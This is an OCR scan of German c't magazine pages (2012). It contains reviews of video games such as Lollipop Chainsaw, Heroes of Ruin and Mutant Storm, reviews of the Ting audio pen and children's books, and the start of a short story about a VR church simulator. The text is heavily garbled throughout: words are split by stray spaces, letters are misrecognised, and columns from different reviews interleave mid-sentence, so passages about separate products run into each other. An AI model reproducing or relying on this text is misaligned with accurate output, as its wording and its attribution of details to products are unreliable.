fuchster Spezia lfäh igkeiten oder 
Takti ken, um die Aufträge  der 
Bewohner zu er led igen.  

Die vier Akte des Abenteuers 
dauern rund zehn  bis zwölf Stun­
den und lassen s ich a l le i n  oder 
mit b is  zu vier Spie lern koopera­
tiv du rchspie len.  Heroes of Ru in  
sucht Konta kt ü be r  e ine  loka le  
WLAN-Verb indung oder  ü ber  
das I nternet. Be i  unseren Proben 
l iefen d ie  Part ien fl üss ig und die 
Verbi ndungen bl ieben stab i l .  
W ie  be i  D i ab lö  werden d ie  Höh­
len immer wieder zufä l l i g  neu er­
ste l lt, d ie  Miss ionen und  Boss­
gegner ä ndern s ich jedoch n icht. 
Meldet man s ich bei der Websei­
te des Spiels an, bekommt man 
jede Woche neue Aufträge, mit  
denen man seine Recken weiter 
aufsteigen lassen kann .  

Das  umfangre iche I nventa r­
und  Attr ibutsystem versprüht 
den Cha rme einer Tabel lenka l ku­
lat ion, verschafft dem Spie ler  
a ber  e inen g uten Ü berb l ick. 

Blutbad im Minirock 
Das japa n i sche Enfant  Terri b le  
Suda 5 1  ist fü r se ine extrava­
ga nten Sp ie le  wie .. No  more 
Heroes" beka n nt. l n  se inem 
neuesten Werk - treffend Loll i­
pop Chainsaw genannt  - l ässt 
•er eine 1 8-jäh rige Cheer leader in 
im  M i n i rock mi t  e i ne r  Ketten­
säge Zombies  zer legen und  
l iterweise B l ut verspritzen .  Von 
der ersten Seku nde an n i m mt 
s ich das ü berd rehte Spektakel 
nicht ernst. G le ich  zu Beg i n n  
m u s s  J u l iet i h ren ge l i ebten 
Freund entha u pten, a ls e r  von 

Lol l ipop Chainsaw 
Vertrieb Warn er lnteractive 
Systeme PS3, X box 360 
Idee ® Umsetzung ® 
Spaß ® Dauermotivation 0 

1 Spieler · Englisch, dt. Untert. • USK 16  • 48 € 
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Zombies geb issen  wi rd .  Der 
Kopf baumelt forta n a n  i h rem 
G ü rtel und  kom ment iert i h r  
Kettensägen-Massaker  m i t  spit­
zen Bemerkungen .  

l n  den folgenden sechs  Stun­
den sch netzelt  der Sp ie le r  unab­
läss ig Horden von Zombies n ie­
der, d ie  Ju l iets Schu le  überfa l len .  
Suda 51  n immt d u rch i m mer 
neue Späße jedweden Ernst aus 
d ieser Trash-Oper. Ponpons we­
de ln zu Heilvy-Meta l-, Funk- oder 
Punk-Songs, wäh rend J u l iet 
einen F l i ckflack schlägt und mit 
i h rer Säge die U ntoten zerte i lt . 
Dabei lernt s ie  i m mer  wieder 
neue akrobat ische Angriffe, d ie 
der Spie ler mit  schnel len Tasten­
kombinat ionen aus löst. Zwi­
schendurch lockern k le ine Retro­
Min i-Spielchen das H igh-School­
Gemetzel auf. l n  den höchsten 

Wen n  e in Monster einen Gegen­
stand fa l len  lässt, s ieht der Spie­
ler  sofort, fü r welche Charakter­
k lasse er  besti m mt i st, welchen 
Level er voraussetzt und  welche 
Attr ibute er verbessert. So kann  
er s i ch  g le ich entscheiden, ob er 
ihn nutzen oder verkaufen w i l l , 
ohne erst i n s  I nventa r wechseln 
oder e inen Händ le r  aufsuchen 
zu müssen. 

Die gefu ndenen Gegenstände 
lassen s ich on l i ne  m it anderen 
Spie lern ta uschen.  Ü ber  d ie 
StreetPass-Funktion bekommen 
Spezia lhänd le r  Angebote ande­
rer Sp ie ler  here i n .  D ie sofort ige 
Verkaufsoption be im E insam­
meln der Gegenstände konterka­
r iert jedoch den Ta usch hande l .  
Wesha lb  sol lte man  s ich d ie  
Mühe  machen zu ta uschen,  
wenn man  g le ich ba re M ünze 
bekommen kann?  

Square En ix  i s t  e i ne  seh r ü ber­
s ichi l iehe ·und  log ische Bed ie­
nung  ge lungen.  Dank  der e inge-

beiden von vier Schwier ig keits­
g raden haben selbst Profis Mühe 
gegen d ie  i n sgesamt fü nf Geg­
nerbosse und müssen wegerf 
der spär l i chen Speicherp u n kte 
l ängere Wiederho lungen i n  Kauf 
nehmen.  

Lol l i pop Cha insaw i st das b is­
her skurri l ste Werk von Suda 5 1 ,  

b lendeten Karte weiß man jeder­
zeit, wo s ich wicht ige M i ss ions­
punkte oder Gesprächspartner 
befinden .  Der e igent l iche Spie­
lerb i ldsch i rm der  3 DS ist a l ler­
d i ngs  sehr  k le in ,  sodass man 
immer n u r  e inen winzigen Aus­
sch n itt der U mgebung sieht. Die 
zu erkundenden Labyrinthe sind 
desha l b  nicht so aus ladend wie 
etwa i n  Diabio oder Torch l ight. 

An seine berühmten Vorbi lder 
reicht Heroes of Ruin zwar n icht 
heran, lässt jedoch a ndere mo­
bi le Hack&Siay-Ro l lensp ie le  wie 
Dungeon H u nter h i nter s ich.  
Wä re der  Schwierigkeitsgrad 
höher ond würden d ie Charakte­
re noch jenseits des 30. Level s  
a ufsteigen, so wäre m a n  du rch­
aus motiviert, nach ein- bis zwei­
ma l igem Durchspie len der Kam­
pagne noch weiter on l i ne nach 
seltenen Waffen und Rüstungen 
zu suchen. So aber lässt Heroes 
of Ru in  e inen Tei l  seines Poten­
zia l s  verpuffen.  (hag) 

das wie e ine ü berd rehte Kirmes­
vers ion von Segas Bayonetta 
wi rkt. Sp ie leri sch hat d ie  ü ber­
zucke rte Zombie-Komödie so 
viel  Substanz wie e ine Tüte Pop­
corn, doch d ie  abstruse Präsen­
tat ion sorgt fü r b reites Gr insen 
n icht nu r  bei Trash-Liebhabern. 

(Peter Kusenberg/hag) 
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Einstürzende Altbauten 
l n  Babel R i s i n g  d reht U bi soft 
das üb l iche Tower-Defense-Pr in­
z ip e i nfach um. H ier  muss man 
den Turmbau zu Babel n icht ver­
te id igen, sondern a l s  erzürnter 
Gott verh indern, dass er zu Ende 
gebaut wird .  Dazu l ässt man 
Ste inbrocken auf  die Arbeiter 
p lumpsen, beschwört B l itze, Wir-

Babel  R is ing 30 
Vertrieb Ubisoft 
Systeme iOS, PS3, Xbox 360, PC, 

(Android geplant) 
Mehrspieler 2 1okal (nur PS3/Xbox 360) 
Idee ® Umsetzung 6 
Spaß 6 Dauermotivation 6 
Deutsch · USK 1 2  • 2,40 bis 10 € 

belstü rme, E iszau ber und  Erdbe­
ben. Doch die Menschen sch i ­
cken i h re P riester mit  Sch utz­
sch i lden voran ,  d ie  man  zu­
nächst m it e iner  F l utwe l l e  fort­
re ißen m uss.  Später fo lgen 
verwunschene U rnen,  d ie  man  
n icht zerbrechen sol lte, sonst 
blockiert deren Zau ber d ie  gött­
l i che Macht. 

Le ider  haben die Entwick ler 
ihr  or ig ine l les Szena rio n i cht be­
sonders gut  u mgesetzt. An der  
PS3 und Xbox 360 hat man mehr 
mit  der störr ischen Gestensteue­
rung  der Move-Fern bed ienung  
oder  K inect-Kamera zu kämpfen 
a l s  mit  den eifrigen Bauarbeitern. 
Auf dem Touchscreen des iPhone 

Laser-Show im Woh nzimmer 
Dank i h rer  e ingebauten Kamera 
kann  die PS Vita d ie rea le Umge­
bung fü r Augmented-Rea l ity­
Spie le nutzen .  Sechs AR-Ka rten 
mit  QR-Codes l iegen Sonys Mo­
b i l konsole bei .  Legt man s ie auf 
einem Tisch aus, so projiziert d ie 

Retro-Bal lerei 
Duai-Stick-Shooter findet man fü r 
iOS-Geräte i nzwischen zuhauf. 
Aber keiner zirpt und  wummert 
so herrl ich wie M utant Storm. 
Die späte Umsetzung für das iPad 
erst sechs Jahre nach dem Debüt 
auf der Xbox 360 hat dem Spie l  
n icht geschadet. Die abgefah re­
nen Synth ie-Sounds und d ie  
bunte Retro-Grafik nehmen den 

Mutant Storm 
Vertrieb Crescent Moon Games 
System iPad 
Mehrspieler 2 1okal (nur PS3/Xbox 360) 
Idee 0 Umsetzung ®® 
Spaß ® Dauermotivation ® 

1 Spieler · Deutsch · ab 9 Jahren • 2,39 € 
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PS Vita a uf i h nen verschiedene 
Spie lobjekte, d ie  a uf dem Bi ld­
sch i rm zu sehen s ind .  Nachdem 
d ie  ersten AR-Spie le led ig l ich 
Demo-Charakter hatten, b ietet 
PulzAR nun  2S kniffl ige Puzzles. 
Der Sp ie ler  muss von e iner  AR­

Karte aus eine Ra­
kete starten, u m  
einen a u f  d i e  Erde 
zurasenden Me­
teoriten zu zer­
stören. Dazu muss 
er d ie  ü br igen 
Karten gesch ickt 
p latzieren und 
e inen von der  
Bas is ausgehen-

Spie ler g leich gefangen. 89 bi ld­
sch i rmfü l lende Arenen g i l t  es in 
e inem kle inen Raumschiff zu 
ü ber leben. Wenn  es g ut läuft, 
dauert jede Angriffswel le  kau m  
e ine M inute. Skurr i le Tentakel­
wesen und kna l lbunte Angreifer 
sorgen fü r Abwechs lung .  Im  Un­
tersch ied zu Geometry Wars und 
l nfin ity F ie ld stürmen aber n icht 
g leich al le Gegner auf den Spieler 
zu, sondern wandern ähn l ich wie 
beim U rvater Robotron auf eige­
nen Pfaden in der Arena u mher. 
Dadu rch wi rkt d ie Bal lerei weni­
ger hektisch. 

Der Schwieri gkeitsg rad  passt 
s ich dem Spie ler  dynamisch an .  
K lä rt e r  e inen Level besonders 

oder i Pad geht es 
le ichter. Hier t ippt 
man auf  d ie  Arbei­
ter, um s ie mit 
einem Stei nsch lag 
auszuknocken oder 
stre icht a m  B i ld­
sch i rm ent lang,  wo­
raufh in  e ine Erdspal­
te s ie  versch l i ngt. 
Stärkere Waffen kann 
man i n  der günst i­
geren iOS-Vers ion 
ü ber ln -App-Käufe erwerben, s ie 
b ra uchen zuwei len jedoch sehr 
l ange, b is  s ie aufgeladen s ind .  So 
t ippt man häufig wi ld  umher, 
ohne dass etwas passiert. 

Auch  d ie  M i ss ionsa ufträge 
wie "Töte 450 Arbeiter" oder 
"Weh re d ie  Arbeiter neun M inu ­
ten a b" zeugen  n icht  gerade 

den Laserstrah l  so u m leiten, dass 
er du rch mög l ichst v ie le rotieren­
de Sterne geht, bevor er die Ab­
schussrampe erreicht. Angesichts 
des nahenden Meteoriten ble ibt 
dazu wenig Zeit. 

Nach den ersten fünf leichten 
Aufgaben werden die Rätsel 
schwieriger. Dann muss man 
Spl itter, Fa rbfi lter und Reflektoren 
richtig setzen, um Barrieren und 
Farbporta le zu u mgehen. Startet 
d ie Rakete vor Ablauf des Count­
downs, so zertrümmert sie den 
Meteoriten ü ber dem Kopf des 
Spie lers. Schafft man es n icht, 
geht e in  Meteoritenschauer n ie­
der, der die Basis zerstört. 

Sony hat d ie Laser-Strah l­
Puzzles mit  den AR-Elementen 
beeindruckend i n  Szene gesetzt. 

schne l l ,  w i rd er im nä(:hsten Ab­
schn itt u m so aggressiver a nge­
g riffen .  Ver l ie rt er  e i nes se iner  
B i l d sch i rm leben,  so 
scha lten auch  d ie  
Geg ner  e inen Gang 
zu rück. A l l e rd i ngs  
verri ngert s i ch  dann  
auch  der  P u n kte­
Mu ltip l i kator. 

Mutant Storm ent­
wickelt s ich schne l l  
zu e iner  spannenden 
H igh-Score-Jagd.  Je­
den zehnten Level 
scha ltet der Spie ler 
nach einem be­
sonders schwierigen 
Gegner einen Spei­
cherpunkt frei, von dem aus  er  
be im nächsten Mal starten kann .  
Letzt l ich g i l t  es ,  die acht Schwie-

Spiele I Strateg ie, Puzzle, Action 

von I n sp i rat ion .  Da nk  der put­
z igen G rafi k u nterhä l t  Babel  
R is ing e in ige M i n uten l a ng,  
wegen der  e i ntön igen Miss io­
nen und  End los-Level und  der  
zuwe i l en  z ick igen Steuerung 
kl i n gt der  gött l i che  Zerstö­
rungsd ra n g  jedoch ba ld ab .  

(Peter Kusen berg/hag) 

Pu lzAR 
Vertrieb Sony Computer Entertainment 
Systeme PS Vita 
Idee ® Umsetzung ® 
Spaß ® Dauermotivation 0 

1 Spieler • Deutsch • o. Altersb. • 2 € 

Wichtig ist eine ausreichende Be­
leuchtung der Ka rten, damit die 
Kamera sie erkennt. Zudem muss 
man die PS Vita in  konstanter Ent­
fernung ruhig über dem Spielfeld 
ha lten, was auf Dauer etwas an­
strengen kann .  N ichtsdestotrotz 
verbindet Pu lzAR d ie rea le und 
die v irtuel le Umgebung zu einem 
überaus u ngewöhn l ichen Puzzle­
spiel, das man sich zu dem güns­
tigen Preis nicht entgehen lassen 
sol lte. (Peter Kusenberg/hag) 

r igkeitsg rade bis zum Ende 
du rchzustehen, was selbst Profis 
viel Ausdauer abverlangt. Cres-

cent Moon ist h ier ein einfacher, 
aber enorm packender Arcade­
Shooter ge lungen. (hag) 

1 85 



Kids' Bits I Hörstift 

Ting - der Hörstift 
Himmer AG 
www.ti ng.eu 
Windows XPNista/7 
Mac OS X ab 1 0.4 
35 € 
ab 3 Jahren 
EAN: 4260234440003 

Der Ting-Stift bringt stumme Me­
dien zum Sprechen und den Be­
trachter zum Zuhören. Dazu müs­
sen Bücher oder andere bedruck­
ba re Dinge unsichtba re Codes 
entha lten, zu denen jewei l s  ein 
Geräusch oder ein gesprochener 
Text gehört. An der Stiftspitze be­
fi ndet sich ein Sensor, der d ie 
Codes l iest. 

Bevor es losgehen kann, t ippt 
man auf ein sichtbares Startsym­
bol, das sich bei Büchern vorn auf 
den ersten Seiten oder h i nten auf 
dem E inband befindet. Fa l ls  d ie  
zugehörigen Audiodaten bereits 
auf dem Stift gespeichert sind, ist 
er nun startklar. Andernfa l l s  for­
dert er per Sprachausgabe dazu 
auf, den Stift über ein USB-Kabel 
mit einem Windows-PC oder Mac 

zu verbinden. Für den Download 
der passenden Ting-Dateien be­
nötigt der Rechner e inen l nter­
netzugang. Fa l l s  der Stift seit dem 
letzten Kontakt mit dem Rechner 
mehrere Symbole abgetastet hat, 
werden nun  Daten zu a l len  aus­
gewäh lten Produ kten geladen; 
bei Windows-Rechnern fun ktio­
n iert das Symbol-Antippen p lus  
Nachladen auch be i  bestehender 
USB-Verbindung.  

I st  der Stift präpar iert, sp ie lt  er 
Geräusche, e in ige Takte Mus ik, 
Wörter oder Sätze ab, sobald man 
mit der Sensorspitze auf e ine ko­
dierte Ste l le zeigt. Die Klangqua­
l ität ist dabei erstaun l ich gut. 

Im Vergleich zum orangefarbe­
nen Tiptoi von Ravensburger 
(s iehe c't 2/1 1 ,  S. 1 8 1 )  ist der 
weiße Ting kleiner, vor a l lem 
sch lanker und l iegt daher etwas 
besser in der Hand - besonders in  
k le inen Kinderhänden.  Weitere 
U ntersch iede: Der Ting hat einen 

Bauernhof-Rätsel 
arsEdition 
www.a rsed ition.de 
6 €  
4 bis 6 Jahre 
ISBN 978-3-7607-8445-8 

Schon wegen seines hand l ichen 
Formats ist das "Bauernhof-Rät­
sei "-Pappbuch von a rsEd it ion 
gut geeignet für d ie Fah rt in  den 
U rlaub .  Auf 32 Seiten b ietet es 
e in buntes Potpou rri an  ku rzwei­
l igen Aufgaben rund um das 
Thema Bauernhof. Beim Ant ip-

pen l iest der  Ti ng 
zu jeder Se ite e ine 
verständ l iche An lei­
tung vor. 

Das K ind erhä lt 
akust ische U nter­
stützung beim Zäh­
len der Waren i m  
Hofladen .  E s  be­
sti mmt, welches 
Produ kt von wel­
chem Tier sta mmt 
und  h i lft  dem Bauern,  se inen 
Traktor  d u rchs  Labyr inth nach 

Komm mit, wir reisen zu Mozart 
arsEd ition 
www.arsed ition.de 
1 5 € 
ab 5 Jahren 
ISBN 978-3-7607-6928-8 

Pa u l i n e  entdeckt auf  dem 
Dachboden e i n  Za u berk lav ier. 
A l s  s ie  darauf  sp ie l t, beg i n n t  
e ine  mag ische Zeitre i se  nach  
Sa lzburg i n s  J a h r  1 76 1 . Dort 
freundet s ie  s ich m i t  dem j u n­
gen Wolfgang Amadeus Moza rt 
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an .  Pa u l i n e  besucht i h n  i m mer  
w iede r  a n  wicht igen Stat ionen 
se ines Lebens und  er lebt soga r  
e i n e  Auffü h ru n g  d e r  Za u berflö­
te in Wien .  

Der Ti ng ist h ier  mehr  a l s  nur  
Vorleser: er  entfüh rt i n  das Leben 
und die Zeit Mozarts. Nach An­
tippen der Ting-Symbole erfäh rt 
der  Leser, wie der  j u nge Wolf­
gang Amadeus seine ersten Auf­
tritte hat, wa rum er schwer 
erkrankt, wie er später zum Ritter 

Akku, der ü ber das USB-Kabel 
a ufgeladen werden kann;  a u ßer 
am PC geht das auch mit e inem 
gesondert erhält l ichen Ladegerät. 
Im Tiptoi von Ravensburger ste­
cken dagegen zwei AAA-Batte­
rien ( 1 ,5 Volt). Das Programm zur 
Verwa ltung der Ting-Aud io-Da­
teien läuft vom Speicher des Stif­
tes aus, wäh rend das Tiptoi-Ver­
waltungsprogramm auf e inem 
Rechner e ingerichtet wird. Im 
Test funktionierte die Verwa ltung 
der Ting-Daten m it einem von 
zwei Teststiften einwandfrei .  Das 
zweite Rezens ionsmuster, offen­
bar e in  ä lteres Model l ,  l ieß s ich 
auch nach etl ichen Resets und 
Updates nicht feh lerfrei n utzen.  

Beide Stifte haben einen Kipp­
scha lter, m it dem d ie Lautstärke 
in mehreren Stufen geregelt wer­
den kann .  Der Ting lässt sich, an­
ders a l s  der Tiptoi, zusätzl ich auch 
a l s  MP3-Spieler n utzen - eine mit 
M gekennzeichnete Taste schal­
tet zwischen beiden Funktionen 
um.  Für  e ine umfangreiche Song­
Sammlung ist das kau m  geeig­
net, woh l aber, u m  zusätzl ich 
zum Ting-fäh igen Buch noch e in  
Hörspiel mit auf d ie Reise zu neh-

Hause zu lenken.  Es 
entdeckt a l le rle i  U n­
s i nn  a uf dem Bau­
ern hof oder br ingt 
d ie  B i lder  e iner  B i l ­
dergeschichte i n  d ie 
r icht ige Re ihenfol­
ge. Bei v ie len Ange­
boten d ient der 
Hörstift dazu, Tier­
geräusche zu iden­
tifiz ieren, u m  Tiere 
nach i h rer Größe zu 
sortieren, i n  i h re Be­

-�..___, hausu ngen zu bri n-
gen oder i h re J u ngen ausfind ig  
zu machen.  

men. Der Speicher des Ting fasst 
bis zu 1 ,8 G Byte - beim Tiptoi 
sind es nu r  465 MByte. 

Sch l ieß l ich unterscheidet s ich 
auch das Vertriebskonzept Tiptoi 
wi rd vom Ravensburger Ver lag 
verkauft. Der Stift arbeitet nur  mit 
Büchern und Spielen von Ravens­
burger zusammen. Man hat h ier 
d ie Auswah l  aus  e iner Reihe 
d urchweg gut gemachter Bücher 
und ebenso vielen Spielen, bei­
spie lsweise zum Puzzlen und 
Sprachen lernen .  Mit dem Ting­
St ift lassen sich dagegen Produk­
te vie ler Ver lage zum Sprechen 
br ingen.  Aktue l l  b ieten 1 8  Her­
stel ler Ting-Produkte an, darunter 
Langenscheidt, Du den und Haba. 
Das Angebot reicht von Wimmel­
und Rätse lbüchern fü r Vorschu l ­
k inder über Gesch ichten und 
Wörterbücher für das Schu la lter 
bis zu Sachbüchern für Erwachse­
ne; Spiele oder Experimentierkäs­
ten wie der unten genannte s ind 
d ie Ausnahme. Preise und d ie 
Qua l ität der U msetzung vari ieren 
deutl ich.  Wir  haben uns aktuel le 
Ti ng-Produkte angesehen und 
ste l len fü nf empfehlenswerte 
Titel vor. 

D ie  N utzu n g  von Stift und  
Buch  i st ü berwiegend ohne  H i lfe 
eines Erwachsenen möglich. Man­
che Aufgaben schaffen Ki nder al­
lerd ings  erst, wenn s ie rechts und 
l i nks u nterscheiden und bis s ie­
ben zählen können.  Kleiner Krit ik­
punkt: Bei e in igen Aufgaben ver­
m issten w i r  e ine  Auflösung .  
Ansonsten empfieh l t  s ich das  
Buch mit  se inen kindgerechten, 
sympath ischen Bi ldern.  Von der 
Sprachausgabe fühlen sich Kinder 
d i rekt a ngesprochen. Spätestens 
beim Bauernhofl ied auf der letz­
ten Seite kommt den Eitern der 
Kopfhöreransch luss zugute. 

gesch lagen wird und sch l ieß l ich Die Audio-Dateien zu d iesem 
hei ratet. Nebenbei g ibt der Stift Buch s ind gespickt m it berühm-
k indgerechte I nformationen ten Komposit ionen Moza rts, 
ü ber  den damals  ,------:::c---- aber  auch mit a l l er-
üb l ichen U mgang hand wissenswer-
in der Fam i l ie, d ie  te r  Mus iktheorie. 
herrschende Kle i- Ganze acht Seiten 
derord n u n g  und  des  Buchs  s ind 
d ie Hygienevorstel- a l le in der Zauber-
l ungen der damal i - flöte gewidmet, d ie  
gen Ze it  - Pau l i n e  du rch gelungene l i -
und ihr gefleckter I u strationen, Erzäh-
H u n d  haben dazu l ung  und ausge-
witzige  Kom men- wäh lte Mus ikaus-
ta re aus  heut iger schnitte zum Erleb-
Sicht parat. nis der S inne wird.  
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Lextra Junior 
Unterwegs in Spanien 

Cornelsen 
www.lextra .de 
1 3 € 
ab 9 Jahren 
ISBN 978-3-S89-0 1 877-2 

,.Sprache, Spaß und Spiel auf der 
Reise" - das kompakte Buch hä lt, 

' was es verspr icht.  Mit v ie len 
bunten Fotos und  I l l u strationen 
weckt es sofort I nteresse. Zusam­
men mit  L ina und  Leon beg i bt 
s ich der  Leser auf  sei ner  Spa­
n ienreise a n  U rlaubsorte wie Ma­
d rid,  kana r ische I n se l n  und An-

Electronic Start 

BARCELONA 
EI Parque Güell 

__ ..,.. _ dit  
SCodi.W•U. ... .. Ioloo _? 

Olt - .. - ­
..,.. ,..... .. (""'"'! 

da lusien .  Dort lernt er d ie  wich­
t igsten Sehenswürd igkeiten und  
erste span i sche Wörter und  
Sätze kennen .  

Der Stift d ient h ier  a l s  Sprach­
coach .  Was bei Büchern d ieser 
Art frü her  d ie  be i l iegende CD 

Spannende Versuche für Einsteiger 

Kosmos 
www.kosmos.de 
40 € 
ab 8 Jahren 
EAN: 400205 1 6 1 37 1 6  

Der Kosmos-Kasten ,.E iectron ic  
Start" hat  a l les, was kleine Hobby­
Elektroniker brauchen: Verbinder 
und Kabel, Leuchtdioden, Transis­
toren, Widerstände, Umscha lter 
und dazu einen Sound-Generator 
und einen Lautsprecher. l nnova-

tiv ist das Stecksystem, mit dem 
man sofort beg innen kann .  Zwei 
Batter ien e inge legt und e in ige 
Dinge aus  dem Hausha lt zusam­
mengeklaubt - los gehts. 

Das bei l iegende Handbuch 
zeigt 70 Versuche zum Nach­
bauen.  Neben den Bereichen 
Klänge und Verstärker kommen 
auch Zeitscha ltuh ren, Alarmanla­
gen und B l i nker vor.  Das letzte 
Kapitel widmet s ich der Log i k. 
Der Stift l iest vor a l lem Versuchs-

Grundschulwörterbuch 
Engl isch 
Brockhaus 
www.brockhaus.de 
1 5 € 
ab 3. Klasse 
ISBN: 978-3-577-0760 1 -2 

Schon beim ersten B lättern wird 
deut l ich ,  dass d ieser Brockhaus  
dank Ting-Stift mehr  kan n  a l s  e in  
herkömml iches Wörterbuch.  Das  
a l phabetisch a ngeord nete eng­
l i sch-deutsche Wörterverzeich­
n i s  u mfasst 1 400 Stichwörter. 
Eine reine Vokabel l i ste wä re fü r 
Grundschu l kinder  töricht, daher 
findet s ich zu jedem eng l ischen 
Wort eine Abbi l dung .  Außer  
Lautsch rift und  deutschem Pen­
dant g ibt es e inen passenden 
eng l i schen Satz mit  Ü berset­
zung .  Be im Ant ippen l iest der  

c ' t  201 2, Heft 1 5  

Stift a l les vor. Das Kind kan n  a lso 
g le ichzeitig das B i ld  anschauen,  
zugehör ige Wörter und  Sätze 
lesen und  hören. 

Kästen mit Wortfe ldern  wie 
,. Berufe" oder ,.Obst" sowie 
Wissenswertem zu e n g l i schen  
Feiertagen s ind  ebenfa l l s  mit Ton 
unter legt. E inziger Kriti kpun kt Es 
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n u r  nacheinander  abspielte, l ie­
fert der Stift h ier  passgenau mit  
e inem Tipp auf d ie  gewünschte 
Ste l le  i m  Buch.  Er spricht treffen­
de Voka be ln  und  Redewendun­
gen vor, zeigt Dia loge auf und  -
wicht ig - regt immer  wieder 

a n leitungen und -erklärungen 
vor .  An manchen Ste l len g ibt er 
wertvo l le  Zusatzinformationen, 
d ie nicht im  Buch stehen.  Beim 
Antippen von Fotos ertönen auch 
passende Geräusche. Funktio­
n iert etwas nicht, genügt e in Tipp 
auf den Schaltplan. Hier h i lft der 
Ting bei der Fehlersuche. Am 
Ende jedes Kapitels steht e in  
Quiz. Der Stift l iest die Fragen vor 
und kom mentiert die gegebene 
Antwort, bevor er die Lösung prä­
sentiert. 

I n sgesamt wi rkt das Hand­
buch etwas bunt und ü ber laden. 
Auf d ie  ,.vert ingten" Strichmänn­
chen und Symbole, d ie beim Be-

feh l e n  d i e  deutschen Art ike l ,  
d ie n icht n u r  fü r K inder m it 
Deutsch a l s  Zweitsprache h i l f­
reich wären, sondern auch dem 
eng l i sch-deutschen Sprachver­
g leich d ienten. 

35  B i ldseiten widmen sich Al l ­
tagsthemen wie Kleidung, Spie l­
sachen oder Hobbys. D ie zuge­
hör igen eng l ischen Bezeichnun­
gen s ind a uf Wortka rten zusam­
mengefasst und d u rch L in ien 
mit  den B i ldern verbunden.  Der 
Ting l iest s ie beim Antippen mit 

- -
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zum Hören und Sprechen an .  Bei 
a l ldem kan n  das Kind auf Spa­
nisch und Deutsch mitlesen, was 
das E inprägen fördert. 

Die k le inen Wissenshäppchen 
in Form von Rätse ln ,  Qu iz, Zu­
ord n ungs- und Mu lt ip le-Choice­
Aufgaben machen Lust aufs Ler­
nen .  A l le  Lösu ngen fi nden s ich 
a m  Ende des Buches. Das Ange­
bot wird abgerundet von einem 
Reisewortschatz, den der Stift 
auf Wunsch komplett vor l iest, 
l andeskund l iehen I nformatio­
nen,  e inem Glossar und  Lern­
t i pps. Ein ru n d u m  ge lungenes 
Werk, nicht n u r  fü r die Fahrt in 
den Ur laub, das auch fü r Eng­
l i sch, F ranzösisch und Ita l ien isch 
erhä lt l ich ist. 

rü h ren noch zusätzl ich Geräu­
sche von s ich geben,  hätte man 
verzichten kön nen .  Ansonsten 
ist der Experimentierkasten eine 
lohnende Anschaffung fü r e lek­
tron ikbegeisterte K inder, d ie  -
zunächst mit  H i lfe der  E itern, 
später auch ohne - exper imen­
t ieren möchten. 

korrekter Aussprache vor. Noch 
anschau l icher  wäre hier d ie Ko­
dierung der Abbi ldungen selbst 
gewesen - vermut l ich wa r fü r 
den Code der Wortvertonungen 
d i rekt i m  Bi ld kei n  P latz, da zu 
den Bi ldern auch Geräusche h in­
ter legt wurden.  E ine Ü bersicht 
i m  Ansch luss  a n  d ie  Doppelsei­
ten l i stet zugehörige Sätze und 
Wendungen.  H ier  muss das Kind 
zurückb lättern, um d ie passende 
B i ldseite vor Augen zu haben. 

Am Ende des Buchs überprüft 
das Kind in kleinen Übungen 
ohne Stiftunterstützung, was es 
gelernt hat. Mit einem persönl i ­
chen Zugangscode, der auf der 
letzten Buchseite e ingedruckt ist, 
kann es auf der Webseite des Her­
ste l lers zusätzl ich kostenlos ani­
mierte Übungen und Spiele nut­
zen, d ie d ie Vokabelkenntnisse 
festigen. (Jan ina Hol l/dwi) 

WWW.d.dt/1115186 
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D er Wind trieb e in  B latt Papier d ie Straße 
h inab, abwechselnd d ie Buchstaben SEN 

und SE immer wieder nach oben fa ltend.  
Bobby Peru kniff d ie Augen zusammen und 
versuchte aus den Zeichen schlau zu werden, 
d ie  vor ihm im R innstein dah i nflatterten.  
Immer wenn er wegen böser Träume 
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sch lecht gesch lafen hatte, wa r er schwer von 
Begriff. Es hatte ein wenig geregnet und es 
gab noch mehr von d iesem Papier. Sterben­
de E i ntagsfl iegen belagerten a m  Abend zu 
Tausenden d ie  Gassen i n  se iner Kindheit. 

Dama l s, a l s  es noch Straßen laternen mit  
Neonröhren gab.  Heute lagen da weiße, flat-

ternde Fetzen mit dem Aufd ruck SENSE.  Er 
dachte zuerst an den Sensen mann,  aber das 
ergab keinen Sinn. Dan n  kam d ie Er innerung. 
S-E-N-S-E h ieß Sinn. ,Was fü r e in  Non-Sense!', 
dachte er  und  wol lte lachen .  Aber es war 
nicht komisch.  Als es i hm bewusst wurde, ä r­
gerte er s ich .  Doch er hatte e inen Zettel i n  
d e r  H a n d  und damit d i e  S im schon aktiviert. 
Bevor er  recht wusste, wie i h m  geschah ,  
stand er a l s  reu iger Sünder i n  e inem Kirchen­
s imu lator. 

Die VR war perfekt. 
Der Pred iger, fast schon das K l ischee eines 

Pastors - ganz rel ig iöser Fanat iker, 0 1  auf die · 
Stirn tätowiert, Leiden im B l ick - stand i nm it­
ten des fa rbig d u rch d ie  bunten Kirchenfens­
ter gebrochenen Lichts vor dem geschmück­
ten Altar. 

"Kom m  zu uns! Die he i l ige Eins wartet a uf 
d ich ." 

D ie Augen des Pred igers bohrten und  
bra n nten i n  se inem Kopf, d u rchstachen 
seine Gedanken, d u rchschn itten sein Gehi rn, 
d u rchpfl ügten seine Gefü h le. Der Drang, die 
Arme hochzuwerfen und i n  die Knie zu sin­
ken, war bei nahe u nwidersteh l ich .  Bei nahe, 
er r iss s ich zusammen und  dennoch g u rgelte 
e in  zwanghaftes "Ha l l e l uja" von seinen tro­
ckenen Lippen. 

Und jetzt ging es erst r ichtig los .  
"Tritt e in  i n  d ie  Gemeinschaft der Bitesser. 

Kom m  mit un s  in das He i lssystem des offe­
nen Que l l codes. Kauf d i r  e inen Ki rchens im 
mit holog rafischem Disti l ler, und  bald kannst 
d u  dem Propheten gegenüberstehen, aufge­
nommen in die Gemeinschaft der He i l igen, 
B i l l i  Z i l l i on  der  Vater, Adam Zion der  Sohn. 
Der Vater, der  e rste Weltra u mtou rist, d ie 
I dee, das  Licht, das  He i l ssystem, der  Sohn,  
der  Verbreiter des B itvange l ions, d ie  Nah­
rung aus  0 und 1 und das  s imu l ierte Sein von 
SENSE und die Ü berwirkl ichkeit in Ewigkeit. 
Oh-SENSE!  Erhöre uns  a rme Bitsch l ucker und 
erlöse uns  im  ewigen Datenstrom des Hei l s­
systems von unserer jammervol len Existenz." 

Der P red iger  war noch l ange n icht zu 
Ende und sa lbaderte i m mer  weiter, a l s  
Bobby laut  " Exit" sagte und  damit  e i nfa(h 
a u sst ieg. Er  stöh nte. E igent l ich sol lte er es 

-g besser wissen. I m merh in  gab es Regeln ,  die 
E ga lten. 
,3 Er  begann  zu laufen .  Der Regen wurde 
